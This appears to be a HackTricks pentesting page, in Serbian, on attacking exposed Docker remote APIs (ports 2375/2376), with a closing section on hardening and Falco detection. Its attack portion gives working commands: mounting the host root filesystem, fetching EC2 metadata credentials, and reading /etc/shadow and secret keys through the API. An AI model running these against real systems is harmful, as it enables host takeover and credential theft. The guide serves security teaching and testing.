# 2375, 2376 Pentesting Docker {{#include ../banners/hacktricks-training.md}} ### Osnovi Dockera #### Šta je Docker je **vodeća platforma** u **industriji kontejnerizacije**, koja prednjači u **kontinuiranoj inovaciji**. Omogućava jednostavno kreiranje i distribuciju aplikacija, od **tradicionalnih do futurističkih**, i osigurava njihovu **sigurnu implementaciju** u različitim okruženjima. #### Osnovna arhitektura dockera - [**containerd**](http://containerd.io): Ovo je **osnovni runtime** za kontejnere, zadužen za sveobuhvatno **upravljanje životnim ciklusom kontejnera**. To uključuje upravljanje **prenosom i skladištenjem slika**, pored nadgledanja **izvršavanja, praćenja i umrežavanja** kontejnera. **Detaljniji uvidi** o containerd su **dalje istraženi**. - **container-shim** igra ključnu ulogu kao **posrednik** u upravljanju **headless kontejnerima**, preuzimajući ulogu od **runc** nakon što su kontejneri inicijalizovani. - [**runc**](http://runc.io): Poznat po svojim **laganim i univerzalnim runtime** sposobnostima, runc je usklađen sa **OCI standardom**. Koristi ga containerd za **pokretanje i upravljanje kontejnerima** prema **OCI smernicama**, razvijajući se iz originalnog **libcontainer**. - [**grpc**](http://www.grpc.io) je ključan za **olakšavanje komunikacije** između containerd i **docker-engine**, osiguravajući **efikasnu interakciju**. - [**OCI**](https://www.opencontainers.org) je od suštinskog značaja za održavanje **OCI specifikacija** za runtime i slike, pri čemu su najnovije verzije Dockera **usaglašene sa OCI standardima za slike i runtime**. #### Osnovne komande ```bash docker version #Get version of docker client, API, engine, containerd, runc, docker-init docker info #Get more infomarion about docker settings docker pull registry:5000/alpine #Download the image docker inspect #Get info of the contaienr docker network ls #List network info docker exec -it /bin/sh #Get shell inside a container docker commit registry:5000/name-container #Update container docker export -o alpine.tar #Export container as tar file docker save -o ubuntu.tar #Export an image docker ps -a #List running and stopped containers docker stop #Stop running container docker rm #Remove container ID docker image ls #List images docker rmi #Remove image docker system prune -a #This will remove: # - all stopped containers # - all networks not used by at least one container # - all images without at least one container associated to them # - all build cache ``` #### Containerd **Containerd** je posebno razvijen da zadovolji potrebe platformi za kontejnere kao što su **Docker i Kubernetes**, između ostalog. Njegov cilj je da **pojednostavi izvršavanje kontejnera** na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahujući funkcionalnosti specifične za operativni sistem i sistemske pozive. Cilj Containerd-a je da uključi samo osnovne funkcije koje su potrebne njegovim korisnicima, teži da izostavi nepotrebne komponente. Međutim, postizanje ovog cilja u potpunosti se priznaje kao izazovno. Ključna dizajnerska odluka je da **Containerd ne upravlja mrežom**. Mreža se smatra kritičnim elementom u distribuiranim sistemima, sa složenostima kao što su Softverski Definisana Mreža (SDN) i otkrivanje usluga koje se značajno razlikuju od jedne platforme do druge. Stoga, Containerd prepušta aspekte mreže platformama koje podržava. Dok **Docker koristi Containerd** za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup Docker-ovih funkcionalnosti. Konkretno, Containerd nema mogućnosti upravljanja mrežom prisutne u Docker-u i ne podržava direktno kreiranje Docker swarm-ova. Ova razlika naglašava fokusiranu ulogu Containerd-a kao okruženja za izvršavanje kontejnera, delegirajući specijalizovanije funkcionalnosti platformama sa kojima se integriše. ```bash #Containerd CLI ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image ctr images list #List images ctr container create registry:5000/alpine:latest alpine #Create container called alpine ctr container list #List containers ctr container info #Get container info ctr task start #You are given a shell inside of it ctr task list #Get status of containers ctr tasks attach #Get shell in running container ctr task pause #Stop container ctr tasks resume #Resume cotainer ctr task kill -s SIGKILL #Stop running container ctr container delete ``` #### Podman **Podman** je open-source engine za kontejnere koji se pridržava [Open Container Initiative (OCI) standarda](https://github.com/opencontainers), razvijen i održavan od strane Red Hat-a. Izdvaja se od Dockera sa nekoliko posebnih karakteristika, posebno svojom **arhitekturom bez demona** i podrškom za **kontejnere bez root privilegija**, omogućavajući korisnicima da pokreću kontejnere bez root privilegija. Podman je dizajniran da bude kompatibilan sa Docker-ovim API-jem, omogućavajući korišćenje Docker CLI komandi. Ova kompatibilnost se proteže na njegov ekosistem, koji uključuje alate kao što su **Buildah** za izgradnju slika kontejnera i **Skopeo** za operacije sa slikama kao što su push, pull i inspect. Više detalja o ovim alatima može se naći na njihovoj [GitHub stranici](https://github.com/containers/buildah/tree/master/docs/containertools). **Ključne razlike** - **Arhitektura**: Za razliku od Docker-ovog modela klijent-server sa pozadinskim demonima, Podman funkcioniše bez demona. Ovaj dizajn znači da se kontejneri pokreću sa privilegijama korisnika koji ih pokreće, poboljšavajući bezbednost eliminisanjem potrebe za root pristupom. - **Integracija sa Systemd**: Podman se integriše sa **systemd** za upravljanje kontejnerima, omogućavajući upravljanje kontejnerima kroz systemd jedinice. Ovo se razlikuje od Docker-ove upotrebe systemd prvenstveno za upravljanje procesom Docker demona. - **Kontejneri bez root privilegija**: Ključna karakteristika Podmana je njegova sposobnost da pokreće kontejnere pod privilegijama korisnika koji ih pokreće. Ovaj pristup minimizira rizike povezane sa provalama u kontejnere osiguravajući da napadači dobiju samo privilegije kompromitovanog korisnika, a ne root pristup. Podmanov pristup nudi sigurnu i fleksibilnu alternativu Dockera, naglašavajući upravljanje privilegijama korisnika i kompatibilnost sa postojećim Docker radnim tokovima. > [!NOTE] > Imajte na umu da, kako Podman teži da podrži isti API kao Docker, možete koristiti iste komande sa Podman-om kao sa Docker-om, kao što su: > > ```bash > podman --version > podman info > pdoman images ls > podman ls > ``` ### Osnovne informacije Daljinski API se po defaultu pokreće na portu 2375 kada je omogućen. Usluga po defaultu neće zahtevati autentifikaciju, omogućavajući napadaču da pokrene privilegovani Docker kontejner. Korišćenjem daljinskog API-ja može se priključiti host / (root direktorijum) na kontejner i čitati/pisati datoteke iz okruženja host-a. **Podrazumevani port:** 2375 ``` PORT STATE SERVICE 2375/tcp open docker ``` ### Enumeration #### Manual Napomena: da biste enumerisali docker API, možete koristiti `docker` komandu ili `curl` kao u sledećem primeru: ```bash #Using curl curl -s http://open.docker.socket:2375/version | jq #Get version {"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"} #Using docker docker -H open.docker.socket:2375 version #Get version Client: Docker Engine - Community Version: 19.03.1 API version: 1.40 Go version: go1.12.5 Git commit: 74b1e89 Built: Thu Jul 25 21:21:05 2019 OS/Arch: linux/amd64 Experimental: false Server: Docker Engine - Community Engine: Version: 19.03.1 API version: 1.40 (minimum version 1.12) Go version: go1.12.5 Git commit: 74b1e89 Built: Thu Jul 25 21:19:41 2019 OS/Arch: linux/amd64 Experimental: false containerd: Version: 1.2.6 GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb runc: Version: 1.0.0-rc8 GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f docker-init: Version: 0.18.0 GitCommit: fec3683 ``` Ako možete **kontaktirati udaljeni docker API sa `docker` komandom** možete **izvršiti** bilo koju od **docker** [**komandi koje su prethodno** komentarisane](2375-pentesting-docker.md#basic-commands) da biste komunicirali sa servisom. > [!NOTE] > Možete `export DOCKER_HOST="tcp://localhost:2375"` i **izbeći** korišćenje `-H` parametra sa docker komandom **Brza eskalacija privilegija** ```bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` **Curl** Ponekad ćete videti **2376** aktivan za **TLS** krajnju tačku. Nisam mogao da se povežem na to sa docker klijentom, ali je moguće to uraditi sa curl. ```bash #List containers curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq #List processes inside a container curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq #Set up and exec job to hit the metadata URL curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' #Get the output curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' # list secrets (no secrets/swarm not set up) curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq #Check what is mounted curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}' #Get the output by starting the exec curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}' #Cat the mounted secret curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}' #List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables) curl -s –insecure https://tls-opendocker.socket:2376/services | jq #Creating a container that has mounted the host file system and read /etc/shadow curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}' #Stop the container curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop #Delete stopped containers curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune ``` Ako želite više informacija o ovome, više informacija je dostupno odakle sam kopirao komande: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) #### Automatski ```bash msf> use exploit/linux/http/docker_daemon_tcp nmap -sV --script "docker-*" -p ``` ### Kompromitovanje Na sledećoj stranici možete pronaći načine da **pobegnete iz docker kontejnera**: {{#ref}} ../linux-hardening/privilege-escalation/docker-security/ {{#endref}} Zloupotrebom ovoga moguće je pobjeći iz kontejnera, mogli biste pokrenuti slab kontejner na udaljenoj mašini, pobjeći iz njega i kompromitovati mašinu: ```bash docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine cat /mnt/etc/shadow ``` - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py) ### Eskalacija privilegija Ako ste unutar hosta koji koristi docker, možete [**pročitati ove informacije da pokušate da povećate privilegije**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket). ### Otkriće tajni u aktivnim Docker kontejnerima ```bash docker ps [| grep ] docker inspect ``` Proverite **env** (sekcija promenljivih okruženja) za tajne i možda ćete pronaći: - Lozinke. - IP adrese. - Portove. - Putanje. - Drugo… . Ako želite da izvučete datoteku: ```bash docker cp :/etc/ ``` ### Osiguranje vašeg Dockera #### Osiguranje Docker instalacije i korišćenja - Možete koristiti alat [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) da pregledate vašu trenutnu docker instalaciju. - `./docker-bench-security.sh` - Možete koristiti alat [https://github.com/kost/dockscan](https://github.com/kost/dockscan) da pregledate vašu trenutnu docker instalaciju. - `dockscan -v unix:///var/run/docker.sock` - Možete koristiti alat [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) da proverite privilegije koje će kontejner imati kada se pokrene sa različitim sigurnosnim opcijama. Ovo je korisno za razumevanje implikacija korišćenja nekih sigurnosnih opcija za pokretanje kontejnera: - `docker run --rm -it r.j3ss.co/amicontained` - `docker run --rm -it --pid host r.j3ss.co/amicontained` - `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` #### Osiguranje Docker slika - Možete koristiti docker sliku [https://github.com/quay/clair](https://github.com/quay/clair) da skenira vaše druge docker slike i pronađe ranjivosti. - `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` - `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` #### Osiguranje Dockerfile-ova - Možete koristiti alat [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) da **pregledate vaš Dockerfile** i pronađete sve vrste pogrešnih konfiguracija. Svaka pogrešna konfiguracija će dobiti ID, možete pronaći ovde [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) kako da ispravite svaku od njih. - `dockerfilelinter -f Dockerfile` ![](<../images/image (176).png>) - Možete koristiti alat [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) da **pregledate vaš Dockerfile** i pronađete sve vrste pogrešnih konfiguracija. - `dockerfilelint Dockerfile` ![](<../images/image (212).png>) - Možete koristiti alat [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) da **pregledate vaš Dockerfile** i pronađete sve vrste pogrešnih konfiguracija. - `dockerlint Dockerfile` ![](<../images/image (71).png>) - Možete koristiti alat [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) da **pregledate vaš Dockerfile** i pronađete sve vrste pogrešnih konfiguracija. - `hadolint Dockerfile` ![](<../images/image (501).png>) #### Beleženje sumnjive aktivnosti - Možete koristiti alat [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) da detektujete **sumnjivo ponašanje u pokrenutim kontejnerima**. - Obratite pažnju u sledećem delu kako **Falco kompajlira kernel modul i umetne ga**. Nakon toga, učitava pravila i **počinje da beleži sumnjive aktivnosti**. U ovom slučaju je detektovao 2 privilegovana kontejnera koja su pokrenuta, jedan od njih sa osetljivim montiranjem, i nakon nekoliko sekundi je detektovao kako je shell otvoren unutar jednog od kontejnera. ```bash docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco * Setting up /usr/src links from host * Unloading falco-probe, if present * Running dkms install for falco Kernel preparation unnecessary for this kernel. Skipping... Building module: cleaning build area...... make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build............. cleaning build area...... DKMS: build completed. falco-probe.ko: Running module version sanity check. modinfo: ERROR: missing module or filename. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.0.0-20-generic/kernel/extra/ mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory depmod... DKMS: install completed. * Trying to load a dkms falco-probe, if present falco-probe found and loaded in dkms 2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml 2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml: 2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml: 2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml: 2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765 2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user= command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04) 2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user= command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave) 2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest) 2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu) ``` #### Praćenje Dockera Možete koristiti auditd za praćenje dockera. ### Reference - [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) - [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) {{#include ../banners/hacktricks-training.md}}